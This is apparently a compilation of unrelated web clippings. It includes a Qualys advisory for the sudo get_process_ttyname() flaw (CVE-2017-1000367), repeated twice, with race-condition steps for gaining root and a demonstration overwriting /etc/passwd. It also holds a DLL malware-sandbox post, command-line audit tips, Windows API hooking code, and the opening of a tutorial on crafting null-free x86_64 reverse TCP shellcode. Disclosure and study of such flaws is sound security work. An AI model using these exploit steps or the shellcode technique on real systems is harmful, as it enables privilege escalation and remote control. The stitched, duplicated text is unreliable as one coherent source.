alt='Powered by OpenVZ' /> <img src='img/lg-share-en.gif' width='125'
height='16' alt='Bookmark and Share' />

<img src='img/Temp2_10518.png' width='182' height='80' alt='Openwall' /> | 
  * Products
    * Openwall GNU/\*/Linux _server OS_
    * John the Ripper _password cracker_
      * Free & Open Source for any platform
      * Pro for Linux
      * Pro for Mac OS X
    * Wordlists _for password cracking_
    * passwdqc _policy enforcement_
      * Free & Open Source for Unix
      * Pro for Windows \(Active Directory\)
    * phpass _password hashing in PHP_
    * crypt\_blowfish _ditto in C/C++_
    * tcb _better password shadowing_
    * Pluggable Authentication Modules
    * scanlogd _port scan detector_
    * popa3d _tiny POP3 daemon_
    * blists _web interface to mailing lists_
    * msulogin _single user mode login_
    * php\_mt\_seed _mt\_rand\(\) cracker_
  * Services
  * Publications
    * Articles
    * Presentations
  * Resources
    * Mailing lists
    * Community wiki
    * Source code repository \(CVSweb\)
    * File archive & mirrors
    * How to verify digital signatures
    * OVE IDs
  * What's new

  
---|---  
|  Follow us on Twitter |  <img src='img/lg-share-en.gif' width='125' height='16' alt='Bookmark and Share' />  
---|---  
\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

[code]

    Date: Tue, 30 May 2017 08:16:29 -0700
    From: Qualys Security Advisory <qsa@...lys.com>
    To: oss-security@...ts.openwall.com
    Subject: Qualys Security Advisory - CVE-2017-1000367 in Sudo's
     get_process_ttyname() for Linux
    
    
    Qualys Security Advisory
    
    CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux
    
    
    ========================================================================
    Contents
    ========================================================================
    
    Analysis
    Exploitation
    Example
    Acknowledgments
    
    
    ========================================================================
    Analysis
    ========================================================================
    
    We discovered a vulnerability in Sudo's get_process_ttyname() for Linux:
    this function opens "/proc/[pid]/stat" (man proc) and reads the device
    number of the tty from field 7 (tty_nr). Unfortunately, these fields are
    space-separated and field 2 (comm, the filename of the command) can
    contain spaces (CVE-2017-1000367).
    
    For example, if we execute Sudo through the symlink "./     1 ",
    get_process_ttyname() calls sudo_ttyname_dev() to search for the
    non-existent tty device number "1" in the built-in search_devs[].
    
    Next, sudo_ttyname_dev() calls the function sudo_ttyname_scan() to
    search for this non-existent tty device number "1" in a breadth-first
    traversal of "/dev".
    
    Last, we exploit this function during its traversal of the
    world-writable "/dev/shm": through this vulnerability, a local user can
    pretend that his tty is any character device on the filesystem, and
    after two race conditions, he can pretend that his tty is any file on
    the filesystem.
    
    On an SELinux-enabled system, if a user is Sudoer for a command that
    does not grant him full root privileges, he can overwrite any file on
    the filesystem (including root-owned files) with his command's output,
    because relabel_tty() (in src/selinux.c) calls open(O_RDWR|O_NONBLOCK)
    on his tty and dup2()s it to the command's stdin, stdout, and stderr.
    This allows any Sudoer user to obtain full root privileges.
    
    
    ========================================================================
    Exploitation
    ========================================================================
    
    To exploit this vulnerability, we:
    
    - create a directory "/dev/shm/_tmp" (to work around
      /proc/sys/fs/protected_symlinks), and a symlink "/dev/shm/_tmp/_tty"
      to a non-existent pty "/dev/pts/57", whose device number is 34873;
    
    - run Sudo through a symlink "/dev/shm/_tmp/     34873 " that spoofs the
      device number of this non-existent pty;
    
    - set the flag CD_RBAC_ENABLED through the command-line option "-r role"
      (where "role" can be our current role, for example "unconfined_r");
    
    - monitor our directory "/dev/shm/_tmp" (for an IN_OPEN inotify event)
      and wait until Sudo opendir()s it (because sudo_ttyname_dev() cannot
      find our non-existent pty in "/dev/pts/");
    
    - SIGSTOP Sudo, call openpty() until it creates our non-existent pty,
      and SIGCONT Sudo;
    
    - monitor our directory "/dev/shm/_tmp" (for an IN_CLOSE_NOWRITE inotify
      event) and wait until Sudo closedir()s it;
    
    - SIGSTOP Sudo, replace the symlink "/dev/shm/_tmp/_tty" to our
      now-existent pty with a symlink to the file that we want to overwrite
      (for example "/etc/passwd"), and SIGCONT Sudo;
    
    - control the output of the command executed by Sudo (the output that
      overwrites "/etc/passwd"):
    
      . either through a command-specific method;
    
      . or through a general method such as "--\nHELLO\nWORLD\n" (by
        default, getopt() prints an error message to stderr if it does not
        recognize an option character).
    
    To reliably win the two SIGSTOP races, we preempt the Sudo process: we
    setpriority() it to the lowest priority, sched_setscheduler() it to
    SCHED_IDLE, and sched_setaffinity() it to the same CPU as our exploit.
    
    
    ========================================================================
    Example
    ========================================================================
    
    We will publish our Sudoer-to-root exploit
    (Linux_sudo_CVE-2017-1000367.c) in the near future:
    
    [john@...alhost ~]$ head -n 8 /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    
    [john@...alhost ~]$ sudo -l
    [sudo] password for john:
    ...
    User john may run the following commands on localhost:
        (ALL) /usr/bin/sum
    
    [john@...alhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum $'--\nHELLO\nWORLD\n'
    [sudo] password for john:
    
    [john@...alhost ~]$ head -n 8 /etc/passwd
    /usr/bin/sum: unrecognized option '--
    HELLO
    WORLD
    '
    Try '/usr/bin/sum --help' for more information.
    ogin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    
    
    ========================================================================
    Acknowledgments
    ========================================================================
    
    We thank Todd C. Miller for his great work and quick response, and the
    members of the distros list for their help with the disclosure of this
    vulnerability.
    
    
[/code]

Powered by blists \- more mailing lists

Your e-mail address:

_Please check out the Open Source Software Security Wiki, which is counterpart
to this mailing list._

<img src='img/Temp2_10517.png' width='80' height='15' alt='Powered by Openwall
GNU/*/Linux' /> <img src='img/Temp2_10519.png' width='80' height='15'
alt='Powered by OpenVZ' /> <img src='img/lg-share-en.gif' width='125'
height='16' alt='Bookmark and Share' />

<img src='img/Temp2_10518.png' width='182' height='80' alt='Openwall' /> | 
  * Products
    * Openwall GNU/\*/Linux _server OS_
    * John the Ripper _password cracker_
      * Free & Open Source for any platform
      * Pro for Linux
      * Pro for Mac OS X
    * Wordlists _for password cracking_
    * passwdqc _policy enforcement_
      * Free & Open Source for Unix
      * Pro for Windows \(Active Directory\)
    * phpass _password hashing in PHP_
    * crypt\_blowfish _ditto in C/C++_
    * tcb _better password shadowing_
    * Pluggable Authentication Modules
    * scanlogd _port scan detector_
    * popa3d _tiny POP3 daemon_
    * blists _web interface to mailing lists_
    * msulogin _single user mode login_
    * php\_mt\_seed _mt\_rand\(\) cracker_
  * Services
  * Publications
    * Articles
    * Presentations
  * Resources
    * Mailing lists
    * Community wiki
    * Source code repository \(CVSweb\)
    * File archive & mirrors
    * How to verify digital signatures
    * OVE IDs
  * What's new

  
---|---  
|  Follow us on Twitter |  <img src='img/lg-share-en.gif' width='125' height='16' alt='Bookmark and Share' />  
---|---  
\[<prev\] \[next>\] \[thread-next>\] \[day\] \[month\] \[year\] \[list\]

[code]

    Date: Tue, 30 May 2017 08:16:29 -0700
    From: Qualys Security Advisory <qsa@...lys.com>
    To: oss-security@...ts.openwall.com
    Subject: Qualys Security Advisory - CVE-2017-1000367 in Sudo's
     get_process_ttyname() for Linux
    
    
    Qualys Security Advisory
    
    CVE-2017-1000367 in Sudo's get_process_ttyname() for Linux
    
    
    ========================================================================
    Contents
    ========================================================================
    
    Analysis
    Exploitation
    Example
    Acknowledgments
    
    
    ========================================================================
    Analysis
    ========================================================================
    
    We discovered a vulnerability in Sudo's get_process_ttyname() for Linux:
    this function opens "/proc/[pid]/stat" (man proc) and reads the device
    number of the tty from field 7 (tty_nr). Unfortunately, these fields are
    space-separated and field 2 (comm, the filename of the command) can
    contain spaces (CVE-2017-1000367).
    
    For example, if we execute Sudo through the symlink "./     1 ",
    get_process_ttyname() calls sudo_ttyname_dev() to search for the
    non-existent tty device number "1" in the built-in search_devs[].
    
    Next, sudo_ttyname_dev() calls the function sudo_ttyname_scan() to
    search for this non-existent tty device number "1" in a breadth-first
    traversal of "/dev".
    
    Last, we exploit this function during its traversal of the
    world-writable "/dev/shm": through this vulnerability, a local user can
    pretend that his tty is any character device on the filesystem, and
    after two race conditions, he can pretend that his tty is any file on
    the filesystem.
    
    On an SELinux-enabled system, if a user is Sudoer for a command that
    does not grant him full root privileges, he can overwrite any file on
    the filesystem (including root-owned files) with his command's output,
    because relabel_tty() (in src/selinux.c) calls open(O_RDWR|O_NONBLOCK)
    on his tty and dup2()s it to the command's stdin, stdout, and stderr.
    This allows any Sudoer user to obtain full root privileges.
    
    
    ========================================================================
    Exploitation
    ========================================================================
    
    To exploit this vulnerability, we:
    
    - create a directory "/dev/shm/_tmp" (to work around
      /proc/sys/fs/protected_symlinks), and a symlink "/dev/shm/_tmp/_tty"
      to a non-existent pty "/dev/pts/57", whose device number is 34873;
    
    - run Sudo through a symlink "/dev/shm/_tmp/     34873 " that spoofs the
      device number of this non-existent pty;
    
    - set the flag CD_RBAC_ENABLED through the command-line option "-r role"
      (where "role" can be our current role, for example "unconfined_r");
    
    - monitor our directory "/dev/shm/_tmp" (for an IN_OPEN inotify event)
      and wait until Sudo opendir()s it (because sudo_ttyname_dev() cannot
      find our non-existent pty in "/dev/pts/");
    
    - SIGSTOP Sudo, call openpty() until it creates our non-existent pty,
      and SIGCONT Sudo;
    
    - monitor our directory "/dev/shm/_tmp" (for an IN_CLOSE_NOWRITE inotify
      event) and wait until Sudo closedir()s it;
    
    - SIGSTOP Sudo, replace the symlink "/dev/shm/_tmp/_tty" to our
      now-existent pty with a symlink to the file that we want to overwrite
      (for example "/etc/passwd"), and SIGCONT Sudo;
    
    - control the output of the command executed by Sudo (the output that
      overwrites "/etc/passwd"):
    
      . either through a command-specific method;
    
      . or through a general method such as "--\nHELLO\nWORLD\n" (by
        default, getopt() prints an error message to stderr if it does not
        recognize an option character).
    
    To reliably win the two SIGSTOP races, we preempt the Sudo process: we
    setpriority() it to the lowest priority, sched_setscheduler() it to
    SCHED_IDLE, and sched_setaffinity() it to the same CPU as our exploit.
    
    
    ========================================================================
    Example
    ========================================================================
    
    We will publish our Sudoer-to-root exploit
    (Linux_sudo_CVE-2017-1000367.c) in the near future:
    
    [john@...alhost ~]$ head -n 8 /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    bin:x:1:1:bin:/bin:/sbin/nologin
    daemon:x:2:2:daemon:/sbin:/sbin/nologin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    sync:x:5:0:sync:/sbin:/bin/sync
    shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
    halt:x:7:0:halt:/sbin:/sbin/halt
    
    [john@...alhost ~]$ sudo -l
    [sudo] password for john:
    ...
    User john may run the following commands on localhost:
        (ALL) /usr/bin/sum
    
    [john@...alhost ~]$ ./Linux_sudo_CVE-2017-1000367 /usr/bin/sum $'--\nHELLO\nWORLD\n'
    [sudo] password for john:
    
    [john@...alhost ~]$ head -n 8 /etc/passwd
    /usr/bin/sum: unrecognized option '--
    HELLO
    WORLD
    '
    Try '/usr/bin/sum --help' for more information.
    ogin
    adm:x:3:4:adm:/var/adm:/sbin/nologin
    lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
    
    
    ========================================================================
    Acknowledgments
    ========================================================================
    
    We thank Todd C. Miller for his great work and quick response, and the
    members of the distros list for their help with the disclosure of this
    vulnerability.
    
    
[/code]

Powered by blists \- more mailing lists

Your e-mail address:

_Please check out the Open Source Software Security Wiki, which is counterpart
to this mailing list._

<img src='img/Temp2_10517.png' width='80' height='15' alt='Powered by Openwall
GNU/*/Linux' /> <img src='img/Temp2_10519.png' width='80' height='15'
alt='Powered by OpenVZ' /> <img src='img/lg-share-en.gif' width='125'
height='16' alt='Bookmark and Share' />

  

# Smart DLL execution for Malware Analysis in Sandbox Systems - BSK Consulting
GmbH

**Created:**| _10/14/2014 11:34:15 AM_  
---|---  
**Updated:**| _10/14/2014 11:34:15 AM_  
**Author:**| __  
**Tags:**| _sandboxing dll-injection_  
  

# Smart DLL execution for Malware Analysis in Sandbox Systems

While analysing several suspicious DLL files I noticed that some of these
files \(which were obviously malicious\) didn’t perform their malicious
activity unless a certain function was triggered. The malware used a registry
entry to execute a certain function that is exported by the DLL called
“InstallM”. I had to run “rundll32.exe malware.dll,InstallM” to trigger the
malicious activity.

In order to automate the process of A\) analyzing the exported functions and
B\) run the various DLL functions I created a script called “DLLRunner”. What
it does is rather simple:

  1. First, it uses the Python module pefile to analyze the PE and retrieve a list of all exported functions with name and ordinal.
  2. Second, it executes the various exported functions by name or ordinal
  3. Third, it passes a set of parameters to the function in order to satisfy requirements and trigger any activity \(simple “fuzzing”\)

This is what it does:

rundll32.exe pathtofile.dll,exportedfunc1  
rundll32.exe pathtofile.dll,exportedfunc2  
rundll32.exe pathtofile.dll,exportedfunc3

The simple fuzzing mode looks like this:

rundll32.exe pathtofile.dll,exportedfunc1  
rundll32.exe pathtofile.dll,exportedfunc1  
rundll32.exe pathtofile.dll,exportedfunc1 "http://evil.local"  
rundll32.exe pathtofile.dll,exportedfunc1 "Install"  
...

## Examples

I tested the script on “url.dll” which is typically located in the system32
folder.

python dllrunner.py C:\Testing\url.dll --debug

<img src='img/Temp2_7571.png' alt='Run DLL in Sandbox' />

DLLRunner executing all exported functions

It caused a function called “TelnetProtocolHandler” and
“TelnetProtocolHandlerA” to pop a telnet shell.

<img src='img/Temp2_7569.png' alt='DLL in Sandbox' />

DLLRunner popping telnet windows via exported function “TelnetProtocolHandler”

If you pass “–fuzz” DLLRunner will pass several params to the functions. This
caused a function in “url.dll” to pop browser windows with a fuzz parameter
“http://evil.local”.

python dllrunner.py C:\Testing\url.dll --debug --fuzz

<img src='img/Temp2_7570.png' alt='DLLRunner in Fuzzing' />

Running DLLRunner in Fuzzing mode

I am still not sure if this is something useful. I have to do further testing
to improve the fuzzing idea. I am open to any advice and would like to see
something like this integrated in common sandboxes like cuckoo.

## Download

DLLRunner on Github

# Learn You a Haskell for Great Good\!

**Created:**| _10/26/2009 9:49:44 PM_  
---|---  
**Updated:**| _10/26/2009 9:49:55 PM_  
**Author:**| __  
**Tags:**| _programming haskell_  
  
READ IT\!\!\!

Welcome\! This is a beginner's guide to the Haskell programming language\! If
you find any errors or have suggestions, please let me know\! You can find me
on \#haskell \(where I go by the nickname _BONUS_\) or you can shoot an email
to bonus at learnyouahaskell dot com.

Also, check out my twitter\!

Read it\! FAQ RSS

# The story of...

**Created:**| _8/4/2009 5:41:16 PM_  
---|---  
**Updated:**| _8/4/2009 5:44:40 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  
no comment

# Command Line Kung Fu: Episode \#37: Show Account Security Settings

**Created:**| _5/18/2009 8:43:31 PM_  
---|---  
**Updated:**| _5/18/2009 8:43:36 PM_  
**Author:**| __  
**Tags:**| _commandline-kungfu_  
  

### Episode \#37: Show Account Security Settings

Ed engages:  
  
Yesterday, I was doing a presentation for a bunch of auditors, and a nice
question came up from the attendees: "How can I quickly see the local account
security settings on a Windows box from the command line?" When I gave the
answer, I saw a lot of people's eyes light up. Of course, whenever an
auditor's eyes start to flicker, we should all watch out. :\)  
  
Seriously, though... the vast majority of the people in the room quickly wrote
down a note with my answer, so I figured it would make a good episode here.  
  
On Windows, you can see overall security settings for all accounts on the box
using the command:  
  

[code]

    C:\> net accounts  
    Force user logoff how long after time expires?:       Never  
    Minimum password age (days):                          0  
    Maximum password age (days):                          42  
    Minimum password length:                              0  
    Length of password history maintained:                None  
    Lockout threshold:                                    Never  
    Lockout duration (minutes):                           30  
    Lockout observation window (minutes):                 30  
    Computer role:                                        WORKSTATION  
    The command completed successfully.  
    
[/code]

  
A simple little command like that shows really useful information, for
auditors, pen testers, general security personnel... great stuff. We've got
password aging information, minimum password length, password history \(so
users can't just reset their password to an older one they used to have\), the
threshold of bad logon attempts for account lockout, the time duration of
account lockout, and the amount of time before a locked out account is re-
activated.  
  
The output I show above is the default settings for most versions of Windows,
including Win2K, WinXP, and Vista \(Yup... minimum password lenght of 0 by
default\!\). On Win2k3, the only difference is that the "Computer role:" says
SERVER.  
  
Another nifty related command is:  
  

[code]

    C:\> net accounts /domain
    
[/code]

  
You can run this on any system that is a member of the domain, and it'll show
you the domain-wide settings for accounts.  
  
Pretty cool, and all in one place.  
  
So, what've you got for us on Linux, big guy?  
  
Hal reports in:  
  
I'm sure you all are getting fairly tired of this, but I have to give my usual
disclaimers:  
  
1\) Different Unix systems handle password security settings in different
ways, so we're just going to focus on Linux  
  
2\) The answer is different if you're working with a network-based
authentication database like LDAP or Kerberos, but for purposes of this
article we're just going to stick to local password files  
  
With those disclaimers in mind, the basic answer is simple:  
  

[code]

    # **chage -l hal**  
     Last password change     : Jul 14, 2007  
    Password expires     : never  
    Password inactive     : never  
    Account expires      : never  
    Minimum number of days between password change  : 0  
    Maximum number of days between password change  : 99999  
    Number of days of warning before password expires : 7
    
[/code]

  
The "chage" command can be used to get \(and set\) basic password security
parameters for accounts on your Linux system \(other Unix variants often use
the "passwd" command for this\). This is actual output from one of my test
systems and shows you the standard Linux defaults for these parameters, which
are obviously not terribly secure. You may change the defaults by modifying
the /etc/login.defs file, but be aware that the defaults you set in login.defs
will only apply to new accounts that you create with the built-in "useradd"
program that comes with Linux. If you use some other scheme for creating
accounts, then you'll have to use the "chage" command to manually set these
values after you create each account.  
  
If you compare the "chage" output with the output of Ed's "net accounts"
command, you'll notice that "chage" doesn't have anything to say about
password history settings or "lockout on failure" parameters. That's because
this level of password security is a property of the lower-level PAM
configuration on most Unix systems. On Linux, the pam\_cracklib and pam\_unix
modules take care of password history and strong password enforcement, while
pam\_tally is responsible for "lockout on failure". Unfortunately there's no
way to audit the settings for these modules other than to look at the actual
PAM configuration files, usually found in /etc/pam.d.

# SSD Forensics 2014.pdf

**Created:**| _8/24/2014 8:20:17 PM_  
---|---  
**Updated:**| _8/24/2014 8:20:17 PM_  
**Author:**| __  
**Tags:**| _Forensics hardware_  
  
<img src='img/SSD Forensics 2014.pdf' />

# http://apina.biz/38879.jpg

**Created:**| _6/21/2011 9:06:22 AM_  
---|---  
**Updated:**| _6/21/2011 9:06:22 AM_  
**Author:**| __  
**Tags:**| _socialising LOLZ_  
  
<< Back to image and comments \- APINA \- http://apina.biz/38879.jpg  
  
<img src='img/38879.jpg' alt='38879.jpg' /> <img src='img/Temp2_10304.jpg'
width='24' height='24' />

# Sysdig Falco: The New System Security Tool

**Created:**| _5/18/2016 3:45:55 PM_  
---|---  
**Updated:**| _7/20/2016 3:24:56 PM_  
**Author:**| __  
**Tags:**| __  
  

Sysdig falco is an open source, behavioral activity monitor designed to detect
anomalous activity in your applications. Falco lets you continuously monitor
and detect container, application, host, and network activity... all in one
place, from one source of data, with one set of customizable rules.

  

Think of falco as an easy to use combination of snort, ossec and strace.

# Windows API Hooking in Python with Deviare - Nektra Advanced Computing Blog

**Created:**| _7/21/2012 1:51:14 PM_  
---|---  
**Updated:**| _7/21/2012 1:51:14 PM_  
**Author:**| __  
**Tags:**| _python API hooking windows environment_  
  

## Windows API Hooking in Python with Deviare

July 20th, 2012 | Posted by swain in Deviare | Python
inShare1

The code below uses Python to intercept the CreateFile function on the
kernel32.dll to forbid opening certain files. It hooks the CreateFile function
for the notepad.exe application. The Python code is very small and to the
point, and you can customize it for your own purposes. For example, it can be
used to sandbox an application to restrict it to a certain set of files,
registry keys, and network accesses.

Python has a relatively long history of being used in the computer security
field. Among IDA Pro plugins, IDAPython is more popular than IDARub. If search
results can be used as a measure of success, a search for each major scripting
language plus “reverse engineering” returns:

Query| \# of results  
---|---  
“python” AND “reverse engineering”| 215K  
“perl” AND “reverse engineering”| 184K  
“ruby” AND “reverse engineering”| 95.2K  
Why is that? some people wrote specifically about that in Python and Reverse
Engineering, Python Arsenal for Reverse Engineering Whitepaper, and a good
video of RECON 2008: Reverse Engineering Dynamic Languages a Focus on Python,
Aaron Portn. The bias towards a programming language might be related to a
network effect, but even so, a programming language with a vibrant community
is fertile ground for trying out new ideas.

## Code

### Prerequisites

  1. Install Python 2.7.3 for Windows
  2. Download Deviare and Register DeviareCOM.dll and DeviareCOM64.dll if the script should under an x64 platform: open a command prompt with administrator rights, navigate to the folder where the Deviare’s \*.dll files are located, execute “regsvr32 DeviareCOM.dll” and “regsvr32 DeviareCOM64.dll”
  3. Download and install Python Win32 Extensions
  4. The code is also available on github

### Python Win32 Extensions Notes

Be careful to download the appropriate version for your platform and Python
version.

If you get a message stating that you haven’t installed Python in your system
yet \(but you did and you are completely sure that you downloaded the correct
Python Win32 Extensions installer\) you can copy the registry folder
HKEY\_LOCAL\_MACHINE\SOFTWARE\Wow6432Node\Python to
HKEY\_LOCAL\_MACHINE\SOFTWARE\Python \(or viceversa\). To do this, you should:

  1. Open the registry editor \(start -> run… -> “regedit”\)
  2. Find the folder you want to copy
  3. Right click on the folder and select “Export”. This will allow you to save a file with the registry folder content
  4. Edit the file you just created and change all the paths in the file accordingly to where you want to move the folder
  5. Save the file and then double-click it. A message box should appear prompting if you want to add information to the registry. Click “yes” and you are done
  6. Once you’ve done this, the Python Win32 Extensions installer should recognize your Python installation

If you still have problems to install this demo, please visit our forum to get
further assistance.

### DeviarePythonDemo.py

?

12345678910111213| `import` `win32com.client``import` `ctypes` `from`
`EventHandlers ``import` `NktSpyMgrEvents``from` `AuxFunctions ``import` `*`
`spyManager ``=`
`win32com.client.DispatchWithEvents(``'DeviareCOM.NktSpyMgr'``,
NktSpyMgrEvents)``spyManager.Initialize()` `StartNotepadAndHook(spyManager)`
`MessageBox ``=` `ctypes.windll.user32.MessageBoxA``MessageBox(``None``,
``'Press OK to end the demo.'``, ``'Deviare Python Demo'``, ``0``)`  
---|---  
### EventHandlers.py

?

1234567891011121314151617181920212223242526272829303132333435| `import`
`win32com.client` `class` `NktSpyMgrEvents:`` ``def`
`OnProcessStarted(``self``, nktProcessAsPyIDispatch):`` ``nktProcess ``=`
`win32com.client.Dispatch(nktProcessAsPyIDispatch)`` ``if` `(nktProcess.Name
``=``=` `"notepad.exe"``):`` ``print` `'Notepad was started.'` ` ``def`
`OnProcessTerminated(``self``, nktProcessAsPyIDispatch):`` ``nktProcess ``=`
`win32com.client.Dispatch(nktProcessAsPyIDispatch)`` ``if` `(nktProcess.Name
``=``=` `"notepad.exe"``):`` ``print` `'Notepad was terminated.'` ` ``def`
`OnFunctionCalled(``self``, nktHookAsPyIDispatch, nktProcessAsPyIDispatch,
nktHookCallInfoAsPyIDispatch):`` ``nktHookCallInfo ``=`
`win32com.client.Dispatch(nktHookCallInfoAsPyIDispatch)`` ``nktProcess ``=`
`win32com.client.Dispatch(nktProcessAsPyIDispatch)` ` ``if`
`(nktHookCallInfo.IsPreCall):`` ``fileName ``=`
`self``.GetFileNameParam(nktHookCallInfo.Params())`` ``if`
`(fileName.endswith(``'.txt'``)):`` ``self``.SkipCall(nktHookCallInfo,
nktProcess)` `# Aux Functions` ` ``def` `SkipCall(``self``, nktHookCallInfo,
nktProcess):`` ``nktHookCallInfo.SkipCall()`` ``if` `(nktProcess.PlatformBits
``=``=` `64``):`` ``nktHookCallInfo.Result().LongLongVal ``=` `-``1``
``else``:`` ``nktHookCallInfo.Result().LongVal ``=` `-``1``
``nktHookCallInfo.LastError ``=` `5` ` ``def` `GetFileNameParam(``self``,
nktParamsEnum):`` ``nktParam ``=` `nktParamsEnum.First()`` ``return`
`nktParam.Value`  
---|---  
### AuxFunctions.py

?

12345678910111213141516171819202122232425| `from` `subprocess ``import` `*`
`def` `GetPIDByProcessName(aProcessName):`` ``for` `proc ``in`
`psutil.process_iter():`` ``if` `proc.name ``=``=` `aProcessName:`` ``return`
`proc.pid` `def` `OpenNotepadAndGetPID():`` ``print` `'Starting Notepad...'``
``pid ``=` `Popen(``"notepad"``).pid`` ``print` `'Notepad started
successfully'`` ``return` `pid` `def` `HookFunctionForProcess(spyManager,
functionModuleAndName, notepadPID):`` ``print` `'Hooking function '` `+`
`functionModuleAndName ``+` `' for Notepad...'`` ``hook ``=`
`spyManager.CreateHook(functionModuleAndName, ``0``)``
``hook.Attach(notepadPID, ``True``)`` ``hook.Hook(``True``)`` ``print`
`'Notepad successfully hooked'`` ``return` `hook` `def`
`StartNotepadAndHook(spyManager):` ` ``notepadPID ``=`
`OpenNotepadAndGetPID()`` ``hook ``=` `HookFunctionForProcess(spyManager,
``"kernel32.dll!CreateFileW"``, notepadPID)`  
---|---  
createfile, createfileex, files, hooking, network, python, pywin32, registry,
sandbox, win32,

# Active filter detection - Downloads | Pure Hacking
**Created:**| _5/29/2011 8:50:04 PM_  
---|---  
**Updated:**| _5/29/2011 8:50:18 PM_  
**Author:**| __  
**Tags:**| _web Firewalls Fingerprinting_  
  

# Active filter detection - Downloads

## The following AFD \(binary\) versions are available for download:

  * No binary versions are currently available

##  
All open-source packages used within AFD are available for download:

AFD 0.7.1 | osstmm\_afd.nasl | 9510b4e5ea3a9f36b1b2f8861f3abf0a  
---|---|---  
AFD 0.7 | afd-0.7.tar.gz | c57cd27d99d58cbff2d4a8047e2b50d7  
AFD 0.6 | afd-0.6.tar.gz | c86408205b2ec27c47e9d4c39f66d8c6  
AFD 0.5 | afd-0.5.tar.gz | 970aa0498c41df742a7100b66578e2d9  
##  
  
  
  
  
  
  
All open-source patches used within AFD are available for download:

  * No open-source patches were used within AFD

##  
All binary documentation will be listed here, also:

  * No documentation is currently available

# x86\_64 reverse TCP bind shell with basic authentication on Linux systems

**Created:**| _11/23/2017 9:28:49 AM_  
---|---  
**Updated:**| _11/23/2017 9:28:49 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# x86\_64 reverse TCP bind shell with basic authentication on Linux systems

 0x4ndr3  malware, tools development  November 13, 2017 6 Minutes

The objective here is to create a reverse TCP bind shell using assembly x64,
which will authenticate the attacker through a password, and have no Null
bytes \(0x00\) in it.

So, where to start? Much like the previous post, by basing our code on the C
equivalent source code. Here is what a reverse tcp shell looks like in C:

<img src='img/fig19.png' width='490' height='580' alt='fig1' />

Figure 1 – reverse shell in C

I will try not to repeat myself on this post, since I’ve layed out the basic
rules, and the reasoning behind not having error checks on the TCP bind shell
explanation.

One of the differences on this post, from the previous bind shell, is that **I
realised yet another improvement one can make on your shellcode**. This
actually reduced a previous draft of this shellcode from 110 bytes to 104
\(oh, the smile on my face\). Bare in mind that this has been a learning
process and, even though I could rewrite the previous post’s bind shell to
make it smaller, I decided to be honest about the learning itself, and leave
it as it is.

Notice that the way I’ve been learning about techniques, to reduce shellcode
byte size, is by going through as many as I can \(mostly the shortests I can
find\) while consulting Intel’s manual to understand what some rarely seen
instructions do and check on their byte size \(if I’m not compiling and
objdump’ing them to be sure\). And, while I have seen some very very short
shellcode, I’ve noticed that to do so, sometimes, they sacrifice on their
being robust, which is something I’m not willing to do.

Now, the improvement I’ve mentioned is that many shellcodes were doing the
following:

> push rsp
> pop rdi
instead of:

> mov rdi, rsp
This was confusing to me, because I was used to think, at this point, that the
push was 2 bytes long, the pop was 1, and those are the same 3 bytes of length
that the mov has. BUT the push is actually 2 bytes long only when you’re
pushing an immediate value \(like _push 10_\). If you’re pushing a register
it’s only one byte. Fantastic\! I immediately recalled several instances where
I was doing this “mov r64,r64” \(a lot on the execve section for sure\), which
means I can save another byte for every single such instruction.

You should realise, by the end of analysing my final code, that I don’t always
use the shortest options when it comes to these byte size reduction
techniques. This is because of robustness. For example, I won’t use a 2 byte
long “mov al,41” for a socket syscall, if I’m not absolutely positive that the
7 upper bytes from RAX register are zeros. “push 41” and “pop rax” guarantees
just that, which means there are some places where I’ll definitely use the
longer option. Specifically, after syscalls that will “pollute” those upper
bytes on RAX because of their return value.

So let’s start by creating the socket \[Figure 1 – line 23\].

Again, I won’t explain how to make a syscall, where to get the syscall RAX
register values, and how to know which constant value to use when you see
AF\_INET and SOCK\_STREAM on the C code, since I already did.

So, the socket creation is pretty much the same as the TCP bind shell and
comes down to:

<img src='img/fig92.png' width='312' height='184' alt='fig9' />

Figure 2 – socket syscall

Now we need to build up the socket structure with the information on the IP
and TCP port to connect back to, and perform the connect itself:

<img src='img/fig31.png' width='403' height='282' alt='fig3' />

Figure 3 – socket structure and connect syscall

The RAX register contains the socket returned by the _socket_ syscall and,
because we want to send it as the first parameter to the  _bind_ syscall, we
start by moving it to RDI.

Now, regarding the apparently random value that I move into RBX, this is how I
came to it:

  1. I compiled the code using an easy to read \(and successfully tested\) set of instructions \(no care at all about null bytes\), which will have as IP, the value 127.0.0.1 \(localhost\), and as the TCP port, the value 4444, which is 0x115c in hex and, because of the architecture being little endian, it actually becomes 0x5c11 \(byte order reversal\). The IP address is also reversed: 
<img src='img/fig41.png' width='399' height='195' alt='fig4' />

Figure 4

  2. I used GDB, and break pointed into the instruction right next to the last one \(sub rsp,8\), and checked how the stack \(RSP\) was set. The structure is exactly 16 bytes long. Now the point of this exercise is to basically replace all the figure 4’s instructions for 2 push instructions, and that’s why I’m checking on its layout: 
<img src='img/fig111.png' width='612' height='46' alt='fig11' />

Figure 5 – stack layout

  3. Then, after push’ing the zeroed out RDX \(the top eight zeros – “top” in terms of addressing, but actually on the bottom of fig 5\), I took on the value that is layed out: 02 00 11 5c 7f 00 00 01; reversed it \(little endian\): 01 00 00 7f 5c 11 00 02; and, because of all the null bytes that this would have if I just moved it into a register, I had to flip every single bit into: fe ff ff 80 a3 ee ff fd Notice that I can only do this because there were no 0xff bytes in there, otherwise I’d still end up with a null byte on this one.
  4. Execute the instruction  _not rbx_ , after moving the previous value into RBX, to reverse the bit flipping.

